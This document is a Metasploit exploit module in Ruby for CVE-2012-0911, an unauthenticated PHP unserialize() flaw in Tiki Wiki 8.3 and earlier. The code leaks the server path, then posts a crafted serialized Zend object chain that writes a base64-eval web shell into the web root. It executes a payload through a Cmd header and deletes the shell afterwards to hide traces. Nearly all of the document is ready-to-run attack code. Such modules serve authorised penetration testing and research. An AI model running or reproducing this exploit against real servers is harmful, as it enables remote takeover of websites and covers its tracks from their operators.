Tiki Wiki <= 8.3 unserialize() PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',  
'Description' => %q{  
This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3  
which could be abused to allow unauthenticated users to execute arbitrary code  
under the context of the webserver user.  
  
The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,  
which is called with user controlled data from the 'printpages' parameter.  
The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy  
class to write arbitrary PHP code to a file on the Tiki Wiki web directory.  
  
In order to run successfully three conditions must be satisfied (1) display_errors  
php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki  
Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php  
version older than 5.3.4 must be used to allow poison null bytes in filesystem related  
functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.  
},  
'Author' =>  
[  
'EgiX', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2012-0911' ],  
[ 'BID', '54298' ],  
[ 'EDB', '19573' ],  
[ 'URL', 'http://dev.tiki.org/item4109' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' => [ ['Automatic', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 04 2012'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])  
], self.class)  
end  
  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
begin  
client.fs.file.rm(@upload_php)  
print_good("#{@peer} - #{@upload_php} removed to stay ninja")  
rescue  
print_error("#{@peer} - Unable to remove #{f}")  
end  
end  
end  
  
def exploit  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"  
@peer = "#{rhost}:#{rport}"  
  
print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")  
  
res = send_request_cgi(  
'uri' => "#{base}tiki-rss_error.php"  
)  
  
if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/  
print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."  
return  
else  
tiki_path = $1  
print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"  
end  
  
php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"  
  
printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"  
printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"  
printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"  
printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"  
printpages << "s:10:\"%00*%00_fields\";a:1:"  
printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"  
printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"  
printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"  
  
print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")  
  
res = send_request_cgi(  
{  
'uri' => "#{base}tiki-print_multi_pages.php",  
'method' => 'POST',  
'vars_post' => {  
'printpages' => printpages  
}  
})  
  
if not res or res.code != 200  
print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")  
return  
end  
  
print_status("#{@peer} - Executing the payload #{@upload_php}")  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => "#{base + @upload_php}",  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
  
if res  
print_error("#{@peer} - Payload execution failed: #{res.code}")  
return  
end  
  
end  
end  
`